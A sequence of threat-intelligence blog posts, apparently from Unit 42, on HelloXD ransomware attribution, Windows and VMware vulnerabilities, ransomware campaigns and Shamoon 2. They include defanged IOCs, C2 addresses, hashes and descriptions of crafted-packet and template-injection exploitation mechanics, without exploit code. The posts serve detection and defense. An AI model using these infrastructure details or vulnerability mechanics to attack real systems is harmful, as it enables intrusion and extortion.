The mutex is also modified, set to nqldslhumipyuzjnatqucmuycqkxjon in one of the samples (Figure 10).
Both versions have been compiled with the same compiler (believed to be GCC 3.x and above based on the mangling of export names), resulting in very similar exports between not only the ransomware variants, but also other malware that we have linked to the potential author (Figure 11).
The biggest difference between the versions is the interesting addition of a secondary payload embedded within version 2.
This payload is encrypted using the WinCrypt API, in the same fashion as the obfuscated loader discussed above.
Once decrypted, the payload is dropped to System32 with the name userlogin.exe before a service is created that points to it.
userlogin.exe is then executed (Figure 12).
What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13).
As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution.
One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.
While analyzing the ransomware binaries, we discovered a unique string prevalent in almost all of the samples: :wtfbbq (stored as UTF-16LE).
Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.
The discovered samples are primarily Cobalt Strike Beacons, utilizing heavy control flow obfuscation – unlike the HelloXD ransomware samples we had previously seen.
Unfortunately, this specific string is not completely unique to x4k, and is instead found on several GitHub repositories as part of a technique to allow a running executable to delete itself from disk through renaming primary data streams within the file to :wtfbbq.
Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries – potentially linked to this GitHub repository.
While the :wtfbbq string is not unique to x4k, by searching for the UTF-16LE version found inside the analyzed HelloXD ransomware samples, we only came across binaries linked to x4k’s infrastructure, providing a fairly strong link between HelloXD and x4k.
The backdoor provided extremely useful insight into the potential threat actor behind the ransomware, as it had the following hardcoded IP address to use as the command and control (C2): 193[.]242[.]145[.]158.
Upon navigating to this IP address, we observed an email address – tebya@poime[.
]li – on the page title, the first link in the chain of attribution (Figure 14).
Using the email address as a pivot, we identified additional domains that were linked to tebya@poime[.
]li.
Table 2.
Domains linked to tebya@poime.li
Some of them historically resolved to some malicious IPs, which led us to discover additional infrastructure and malware being hosted in other domains (Table 3).
Many of these also use the x4k name in the domain.
Table 3.
PDNS of 164[.]68[.]114[.
]29 and 167[.]86[.]87[.
]27
When looking at this infrastructure on VirusTotal, we observed that some of the domains we found were part of a VirusTotal graph called a.y.e/ created by the user x4k on June 30, 2021.
On this graph, we found his infrastructure mapped out and malicious files that were also linked to the domains.
This, however, was not the only graph we observed x4k creating.
We also encountered additional graphs, mapping different things such as “Russian Hosts,” “DDoS Guard” and others, dating back to August 10, 2020 (Figure 15).
Additionally, we observed the initial email being linked to a GitHub account (Figure 16), as well as various forums including XSS, a known Russian-speaking hacking forum created to share knowledge about exploits, vulnerabilities, malware and network penetration.
From the GitHub page, we also observed a URL to a site – xn--90a5ai[.]com(фсб[.
]com) – resolving to the previously mentioned IP 164[.]68[.]114[.
]29, which at this point in time only shows an animation of interconnecting points.
That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.
Figure 17.
Snippet of Script in HTML Source Code xn--90a5ai[.
]comFrom the list of aliases used by the threat actor, we were able to observe another GitHub account with the name l4ckyguy, sharing the profile picture, location and URL in the description, with a link to the previously observed account (x4kme), and a name, Ivan Topor, which we believe may be another alias for this threat actor.
A further account, l4cky-control, was also discovered.
This repository contained a Python script that would decrypt a secondary Python script which reached out to the IP 167[.]86[.]87[.
]27 to download and execute another Python script.
This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.
We also found a YouTube account linked to the actor through the initial email tebya@poime[.
]li, using another alias, Vanya Topor.
It’s worth pointing out that “Vanya” is a diminutive for Ivan.
The YouTube account has no public videos, but we observed this threat actor sharing unlisted links in various hacking forums.
The content of the videos were tutorials and walkthroughs, where the threat actor showed his methodology of performing certain actions, depending on the video.
The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.
The videos found gave us insight into x4k operations before moving into ransomware activity specifically.
We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.
In one of the videos, we actually observed the threat actor performing a DNS leak test on his Android phone.
We also got to observe how the domain фсб[.
]com used to look in October 2020 – a blog of sorts titled “Ghost in the Wire.” Where the threat actor keeps alluding to his “Ghost” theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19).
In another video instance, we observed the threat actor submit a LockBit 2.0 sample on Cuckoo sandbox and compare the results with another presumably LockBit 2.0 sample prior to the one submitted in the video.
At the time of writing, we don’t believe x4k is related to LockBit 2.0 activity, but we did find the choice of this particular ransomware family interesting (Figure 20).
We also noticed this threat actor leveraging the use of other sandboxes besides Cuckoo – such as ANY.RUN and Hybrid Analysis – to test out verdicts and tooling, alongside the use of various virtual machines.
Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.
We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).
Taking a closer look at x4k’s main OS, we believe it to be a customized Kali Linux instance, tailored to his needs.
Most of his videos, comments, configurations and tutorials are written in Russian – and when combined with knowledge gained from a few OPSEC mistakes – Russia is also where we believe x4k originates from.
Additionally, we encountered the ClamAV logo during one of the threat actor walkthrough videos – the same logo used on the HelloXD ransomware samples (Figure 22).
This time around, x4k is using the logo as the start menu for his OS enviorment.
On the same taskbar, we also noticed the Telegram icon, which is a very popular messaging app for chatting – but is also used by threat actors such as LAPSUS$ to post news into specific channels.
Using his username and alias and pivot, we were able to identify two Telegram accounts sharing the same picture as observed before, and descriptions pointing to the threat actor’s main site фсб[.]com.
We noticed that the x4k Telegram account is used actively versus the old account – which, according to Telegram, hasn’t been active in a while (Figure 23).
x4k has a very solid online presence, which has enabled us to uncover much of his activity in these last two years.
This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.
Unit 42 research encountered HelloXD, a ransomware family in its initial stages – but already intending to impact organizations.
While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.
This threat actor is well known on various hacking forums, and seems to be of Russian origin.
Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.
Ransomware is a lucrative operation if done correctly.
Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.
Unit 42 believes that x4k, this threat actor, is now expanding into the ransomware business to capitalize on some of the gains other ransomware groups are making.
Palo Alto Networks detects and prevents HelloXD and x4k activity in the following ways:
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
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164[.]68[.]114[.
]29
167[.]86[.]87[.
]27
63[.]250[.]53[.
]180
45[.]15[.]19[.
]130
46[.]39[.]229[.
]17
www.zxlab.iol4cky[.
]men
btc-trazer[.
]xyz
sandbox[.]x4k[.
]me
malware[.]x4k[.
]me
f[.]x4k[.
]me
0[.]x4k[.
]me
pwn[.]x4k[.
]me
docker[.]x4k[.
]me
apk[.]x4k[.
]me
x4k[.
]me
powershell[.
]services
vmi378732[.]contaboserver[.
]net
x4k[.
]in
L4cky[.
]men
m[.]x4k[.
]me
mx2[.]l4cky[.
]com
mailhost[.]l4cky[.
]com
www1[.]l4cky[.
]com
authsmtp[.]l4cky[.
]com
ns[.]l4cky[.
]com
mailer[.]l4cky[.
]com
imap2[.]l4cky[.
]com
ns2[.]l4cky[.
]com
server[.]l4cky[.
]com
auth[.]l4cky[.
]com
remote[.]l4cky[.
]com
mx10[.]l4cky[.
]com
ms1[.]l4cky[.
]com
mx5[.]l4cky[.
]com
relay2[.]l4cky[.
]com
ns1[.]l4cky[.
]com
email[.]l4cky[.
]com
imap[.]l4cky[.
]com
mail[.]x4k[.
]me
repo[.]x4k[.
]me
bw[.]x4k[.
]me
collabora[.]x4k[.
]me
cloud[.]x4k[.
]me
yacht[.]x4k[.
]me
book[.]x4k[.
]me
teleport[.]x4k[.
]me
subspace[.]x4k[.
]me
windows[.]x4k[.
]me
sf[.]x4k[.
]me
dc-b00e12923fb6.l4cky[.
]men
box[.]l4cky[.
]men
mail[.]l4cky[.
]men
www[.]l4cky[.
]men
mta-sts[.]l4cky[.
]men
ldap[.]l4cky[.
]men
cloud[.]l4cky[.
]men
office[.]l4cky[.
]men
rexdooley[.
]ml
relay2[.]kuimvd[.
]ru
ns2[.]webmiting[.
]ru
https://фсб[.
]com
2022 Unit 42 Ransomware Threat Report Highlights
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日本語 (Japanese)
In March 2020 Microsoft released a security advisory, ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression, for a new remote code execution (RCE) vulnerability.
Shortly after this advisory was released, Microsoft issued an out-of-band patch to protect affected users from CVE-2020-0796.
An out-of-band patch is typically released outside of the expected update period for a vendor.
In this particular case, Microsoft is known to release updates on Patch Tuesday, which was two days prior to this out-of-band update.
This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers.
Compression headers are a feature that was added to SMBv3 negotiate context request packets in May 2019.
For successful unauthenticated exploitation an attacker would need to craft a SMBv3 packet that contains the malformed compression header to a vulnerable SMBv3 Server.
For SMBv3 clients would require enticing a user to connect to a compromised SMBv3 server that they control.
At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).
This vulnerability only affects SMBv3 and the following builds of the Microsoft Windows operating system (OS):
Review the workaround guidance provided by the Microsoft Security Vulnerability.
As always, we recommend our customers patch their systems as soon as possible.
Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft.
For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.
Palo Alto Networks Cortex XDR and Traps provide protection against this vulnerability regardless of whether they are running on an unpatched instance of Microsoft Windows 10.
Additionally, Palo Alto Networks offers multiple, additional complementary protections for this exploit.
As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.
As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
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In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball.
The vulnerability exists in the Windows CryptoAPI (Crypt32.dll) and specifically relates to the method used for Elliptic Curve Cryptography (ECC) certificate validation.
At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).
Researcher Tal Be’ery released a blog titled “Win 10 Crypto Vulnerability: Cheating in Elliptic Curve Billiard 2” that does a fantastic job at explaining this bug.
The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added.
The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs.
Analysts can collect alerts on the Application Message “CVE-2020-0601” as a means to hunt for attempted exploitation of this vulnerability on patched systems.
We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.
Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system.
Additionally, Palo Alto Networks offers multiple, additional complementary protections:
As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.
As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
CVE-2020-0601: The ChainOfFools/CurveBall Attack Explained POC
Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2
NSA Cybersecurity Advisory
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CTB-Locker is a well-known ransomware Trojan used by crimeware groups to encrypt files on the victim's endpoints and demand ransom payment to decrypt the files back to their original state, but most antiviruses detect it by mistake as CryptoLocker (only one vendor correctly detects it as CTB-Locker).
The attack vector is very basic and repeats itself: It begins with a spear phishing email sent with SCR attachments (double zipped).
Once executed by the user the first stage malware downloads and executes the ransomware from a fixed hardcoded server list.
The first known campaign was launched by Crimeware on November 2014.
The first stage downloaded the ransomware from these sites:
A very serious campaign was launched between January 19, 2015 and January 20, 2015, and
Palo Alto Networks Enterprise Security Platform has discovered more than 1000 unique attacks since.
The attacker used a polymorphic malware builder to generate malware with a unique hash for each victim, preventing signature-based solutions from detecting the new attacks before it was too late for the victim.
This tactic is a nightmare for legacy security products that are based on legacy techniques such as bytes signatures, since they can only detect attacks after the damage is done instead of preventing it as a true solution should.
Palo Alto Networks Enterprise Security Platform offers multilayer protection to prevent this attack along with other attacks without the need for prior knowledge of the specific attack.
We can see here that server hostnames were changed but they didn’t change the server IP address – see the attached file with results for files from last week’s campaign from VirusTotal.
Most legacy security programs could not detect this malware at the time it was posted.
If you re-test these hashes again from last week you can see an average of 49/57 engines that detect last week’s threat – but that’s too little, too late for anyone who already lost data.
This campaign started earlier today, and the malware uses the same techniques and even the same IOCs:
And only added two new hostnames:
By now you shouldn’t be surprised that one of them is on the same known malicious IP address.
We found 147 new unique pieces of malware today alone, two of them fully undetectable by the legacy security solutions in VirusTotal and most of them barely detected by one vendor (few have 4/57 detection rate).
See below:
So basically you have two choices:
The most surprising fact about this campaign is that almost all the IOCs haven’t been changed:
For those still using legacy solutions we’ve attached two lists of SHA256 hashes in a text file format for reference.
One list shows the new campaign, which continues to progress.
The other list is of last week’s campaign by the same attackers (exhaustive or close to it).
Palo Alto Networks Enterprise Security Platform would have stopped this ransomware attack campaign thanks to the platform’s unique integration between the network, endpoint and the cloud to maximize security.
Attacks aren't getting any less sophisticated, so it is time to leave legacy security solutions behind and upgrade to real, prevention-based security.
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In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft’s Bounty Program.
Yu later demonstrated his research at CanSecWest in March.
In his slides, he mentioned that a "god mode" of Internet Explorer could be turned on by a one byte overwrite.
However, he had to heavily redact this information due to an agreement between himself and Microsoft.
After his slides were released, researchers began working to determine what the missing parts were.
And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.
Although the code was removed soon after posting, a copy was still maintained and used by Metasploit.
Following this code, another researcher posted his VB script version using more advanced techniques.
Yu Yang then pasted his shellcode that used similar methods to run arbitrary code, showing that the method Yuki Chen used is exactly the one that won Yu the $100,000 award.
The main idea of new exploitation technique is to alter a flag that is used to control the security setting of an ActiveX object.
If an attacker could modify it, then any script can be run, such as downloading and executing a PE file, without any notification or alert.
Further details were discussed in depth last month on Rapid7’s blog.
The most interesting aspect of this method is that it could bypass all existing mitigation techniques including DEP/ASLR/EMET, and it also defeats some academic methods such as Control Flow Integrity (CFI).
So this raises another question: If there are no mitigation functions, do we have any other ways to defend against attacks similar to this?
The first line of defense is the IPS.
Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.
To address such an issue, we’ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.
Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.
When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.
Only when attackers have the right to read/write any address can they utilize either Flash or ActiveX methods to get code execution.
If we went even further, all three vulnerabilities are Use-After-Free bugs.
The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:
Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.
Using these operations, attackers are able to modify the length values to create an object with an incorrect size, which will allow for read and write operations to occur in memory that is not part of the vector object.
The attackers can then use this object to perform further operations such as modification of security flag in ActiveX.
To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.
In WildFire, we added modules for web browser scripts and third party plugins such as Flash.
One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.
If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.
Using this method, we are able to provide length checking for Flash vector objects.
This module validates the accessing behavior at runtime.
If the length were suspicious, the detection module stops the malicious operation.
Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.
Leave a comment below let us know what you think.
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Cybercriminals have embraced the anonymous nature of cryptocurrency as a new preferred method of profit.
Unit 42 released details about attackers hijacking web browsers to mine for compute resources and exchange for cryptocurrency.
With the increasing value of cryptocurrency, such as bitcoin and Ethereum, and a better business model with higher returns than malware- and exploit-type attacks, it’s no surprise these types of attacks are becoming more commonplace.
Cybercriminals will compromise a website and abuse a legitimate tool on that site to gain access to the compute resources of site visitors’ systems.
Using this access, attackers will essentially steal compute resources and exchange them for cryptocurrency credit.
This all occurs without the users’ consent or knowledge throughout the duration of their site visits.
The malicious activity itself doesn’t cause long-term damage to systems, and ends as soon as users leave the malicious or compromised site.
Additionally, the site will still provide users with its normal, intended functionality.
However, users likely experience a noticeable slowdown in system performance.
If you believe your system is being affected by this type of attack, leaving the site or closing your browser will, in most cases, end the attack.
Additionally, you should practice good cybersecurity hygiene.
This means avoiding unfamiliar websites, clicking on links or downloading attachments from unknown email senders, keeping products updated with the latest security patches, enabling multi-factor authentication, and using reputable security products.
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Today we’re releasing a new Unit 42 white paper titled “Credential-Based Attacks: Exposing the Ecosystem and Motives Behind Credential Phishing, Theft and Abuse.” In this paper, we look at the problem of credential theft by exploring how it happens, what attackers do with credentials once they’ve stolen them, and what you can do to help prevent credential-based attacks.
Credentials and authentication have become synonymous, with valid credentials allowing access to sensitive resources.
Adversaries are increasingly stealing and using credentials as part of their playbooks; impersonating legitimate users to access a company’s most sensitive information, erase data on servers, and reconfigure them so that they can’t boot; and undertake other malicious activities.
Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.
Credential theft today can happen in many ways, but the most notable are through credential phishing and the use of malware like keyloggers (both staples of the Sofacy group), as well as password reuse.
The impact of a successful credential theft is, ultimately, access and authorization.
Attackers will use credential theft for remote access to an organization, to access cloud-based resources (which may have weaker credential protections than network-based resources), or to move laterally within an organization once they’ve gained entry.
The most sophisticated attacks can – and do – blend these actions together, sometimes using multiple stolen credentials to penetrate networks, move laterally within them, elevate privileges, and then access and steal data.
Prevention of credential theft is too often overlooked.
Organizations should continue with user education to help users better spot and not fall for phishing and spam attacks.
You and your employees can also use password managers to make unique, complex passwords for each site not just a goal but a reality.
Technology is also catching up; recent advances in two-factor/multi-factor authentication (2FA/MFA) and one-time passwords (OTP) represent the best long-term approaches to preventing credential theft.
(Our newest release, PAN-OS 8.0, also includes protections to significantly limit or eliminate password reuse.)
Get your copy of our white paper here.
Ignite '17 Security Conference: Vancouver, BC June 12–15, 2017
Ignite '17 Security Conference is a live, four-day conference designed for today’s security professionals.
Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.
Visit the Ignite website for more information on tracks, workshops and marquee sessions.
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Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).
This vulnerability is being referred to as MS14-066.
The patch addressing CVE-2014-6321 fixed many areas within schannel.dll, including at least two vulnerabilities related to the handling of the Datagram Transport Layer Security (DTLS) protocol.
DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.
The DTLS protocol is used by Microsoft Windows Remote Desktop Gateway (RDG) to establish a secure channel between the RDG client and RDG server (described in detail in [MS_TSGU].pdf).
The RDG client initiates the DTLS connection by sending a ClientHello to the RDG Server.
The RDG server then responds with a DTLS Hello Verify Request that contains a cookie; this is used as a denial of service countermeasure.
The RDG client responds once again with a Client Hello packet containing the received cookie, which will initiate the DTLS handshake (RFC6347 Section 4.2).
Figure 1: Initiation of the DTLS handshake between RDG client and server
Figure 2: RDG client and server handshake phase (Source: [MS-TSGU] Section 1.3.3.1.1)
Before starting analysis, we needed to set up a test environment.
For the RDG server we referred to the following walkthrough: http://terrytlslau.tls1.cc/2014/01/deploying-remote-desktop-gateway-in.html.
Now let’s explore these vulnerabilities.
When a client sends the DTLS ClientHello packet to the server, the server computes a Message Authentication Code (MAC) on it and compares it to the cookie contained in the packet.
But the server only checks the cookie length field, not whether the cookie buffer can be read.
In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.
It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.
Figure 3, below, shows a packet crafted to display a “Cookie Length” of 32 (32 is equivalent to 0x20 in hexadecimal), which does not match the actual amount of data in the cookie (shown containing only two 0x41 characters).
Figure 3: A crafted packet sending mismatched size and content
Related code is found in the DTLSCookieManager::ValidateCookie function:
As shown above, although the server checks the “CookieSize” field, the compared length is always *(_DWORD *)(mgr + 16)), whose value is 0x20; however, the real cookie buffer length could be less than 0x20.
A crafted packet could set the “CookieSize” field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data.
When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.
This scenario can result in a heap overflow.
It should be noted that if you want modify the “CookieSize“ value, you should modify the other length fields to keep the packet structure valid, as shown below in Figure 4.
Figure 4: An example of a properly modified DTLS packet cookie
We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server.
In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.
Below, Figure 5 shows what the call stack looks like when the process crashes.
Figure 5: WinDBG view of call stack when lsass.exe process crashes due to exploitation
Vulnerable code is found in the CSsl3TlsClientContext::DigestServerHelloVerifyRequest function:
Palo Alto Networks is releasing signature 37094 and 37059 to defend against these vulnerabilities.
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On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation.
On April 13, they updated their advisory with information that CVE-2022-22954 is being exploited in the wild.
Multiple writeups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18.
The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 – published on the same day and affecting the same products – as being highly likely to be exploited.
Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild.
In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.
Timeline for VMware Vulnerabilities
CVE-2022-22954 in the Wild
Direct Downloads
Mirai/Gafgyt Dropper Scripts or Variants
Webshells
Perl Shellbot
Base64 Injections
SSH Key Targeting
CVE-2022-22960 in the Wild
Conclusion
Indicators of Compromise
2022-04-06:
Publication of VMware advisory VMSA-2022-0011 regarding CVE-2022-22954, CVE-2022-22955,CVE-2022-22956, CVE-2022-22957, CVE-2022-22958, CVE-2022-22959, CVE-2022-22960, CVE-2022-22961.
2022-04-11:
Proofs of concept available on GitHub.
This is also the earliest date at which Unit 42 observed exploitation attempts and scanning activity.
2022-04-13:
VMware advisory updated with knowledge of active exploitation of CVE-2022-22954 in the wild.
2022-05-18:
Publication of VMware advisory VMSA-2022-0014 regarding CVE-2022-22972, CVE-2022-22973.
Publication of CISA Alert.
As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known.
This post will be updated with new findings as they are discovered.
CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.
The list below details the exploits Unit 42 observed targeting this vulnerability that we deemed worth highlighting.
The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:
We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware.
In most cases, the exploit was only used to drop the payload, however the payloads themself did not contain CVE-2022-22954 exploits for further propagation.
Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.
The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code.
The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.
We observed the vulnerability exploited to download webshells, including:
Certain injected commands result in the download of obfuscated Perl scripts.
Deobfuscating these scripts reveals they are versions of the known bot family “Stealth Shellbot” that reaches out to an IRC server to listen for commands to perform.
It has the ability to further make HTTP requests based on commands received.
This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.
A complete list of indicators of compromise (IoCs) can be found at the end of this post.
This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.
We also observed some instances of injected payloads that were either trying to read authorized keys on vulnerable machines or were writing into the authorized_keys file to add to the machine’s list of accepted keys.
Following is an example of such an attempt.
CVE-2022-22960 is a privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager and vRealize Automation instances, due to improper permissions in support scripts.
The vulnerability can be leveraged to run commands as a root user on a vulnerable instance.
More specifically, this flaw exists since the default user for these VMware products, horizon, has access to several sudo commands, some of which involve paths that can be overwritten as well.
Attackers can, therefore, leverage CVE-2022-22954 to remotely execute commands to overwrite specific paths.
If successful, CVE-2022-22960 can then be leveraged to execute these overwritten paths with root permissions using the sudo command.
Our research so far has shown one publicly known sample demonstrating exploitation of CVE-2022-22960 by overwriting the /usr/local/horizon/scripts/publishCaCert.hzn file.
The content of this exploit file can be observed below.
Another proof of concept code sample is additionally available targeting the following 2 filepaths:
/opt/vmware/certproxy/bin/certproxyService.sh
/usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn
Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code.
Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:
Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.
Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.
WildFire and Cortex XDR categorize all samples of supported file types as malware.
Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
Mirai/Gafgyt dropper scripts or variants
Perl Shellbot
Coinminer activity
Webshell downloads (full injected command)
Callback/Scanning activity
Direct Download exploits where payloads were no longer live at the time of analysis:
Sample hashes
801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637
6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b
940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8
fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05
85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03
bot.v
0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba
C2 server : 5[.
]39.217.212:80
Channel : #vcenter getsome
bot.redis
48628ca95608a015f47506eb1dc6fad0cd04a4cf5d44fdb8f10255fe0aa3c29b
C2 server : 64[.
]32.6.143:80
Channel : #redis getsome
botVNC
c399b56e1baf063ca2c8aadbbe4a2b58141916aac8ef790a9c29762ed1956bd5
C2 server : 5[.
]39.217.212:80
Channel : #D getsome
7e29615126585b9f87ded09cfae4724bb5d7896c7daf2adfcef775924549e49b
099ac2f3e10346dbef472b2a7b443ebfe1f6011a9a2518a54c20aad07fe9ec61
Updated May 23, 2022, at 1 p.m. PT.
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Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified
Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.
Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.
Disttrack is optimized to destroy systems by targeting their hard drives and to spread as widely as possible throughout a network it’s infiltrated.
And once again, the Disttrack malware was configured to operate without any command and control (C2) servers, essentially optimized for a one-way mission of data destruction.
But this second wave of Shamoon 2 attacks show evidence of potential new tactic.
Unit 42 analysis shows that the latest sample contains credentials for virtual desktop infrastructure (VDI) solutions, such as Huawei’s FusionCloud.
VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.
The presence of these credentials in the sample may suggest that attackers intended to increase the impact of their attack by not only wiping systems but also carrying out destructive activities against the VDI deployment, as well as any snapshots.
In essence, a manual destructive attack against the VDI deployment and snapshots coupled with the destructive attack by the malware could destroy an organizations’ systems and primary line of backup against such an attack.
The possible targeting of VDI solutions with legitimate credentials (either stolen or default) represents an escalation in tactics not only in this specific attack but other future attacks.
Security teams and administrators should be aware of and take immediate steps to evaluate this development and consider adding additional safeguards to protect credentials related to their VDI deployment.
Full technical details including associated indicators of compromise (IOCs) that can be used for more detailed analysis and protection, can be found the full report.
Palo Alto Networks customers are protected from the Disttrack payload used in this attack:
AutoFocus customers can monitor Disttrack activity using the Disttrack tag
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This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.
Initial reports said that the WanaCrypt0r attack began as part of a spam/phishing campaign.
Unit 42 and other researchers have concluded that these reports are not substantiated.
While the initial attack vector for these attacks is unknown, it is certain that the spread of the ransomware occurs through active exploitation of the ETERNALBLUE vulnerability (CVE-2017-0144) in Microsoft Windows.
Patches for this vulnerability for all supported versions of Windows have been available since March 2017.
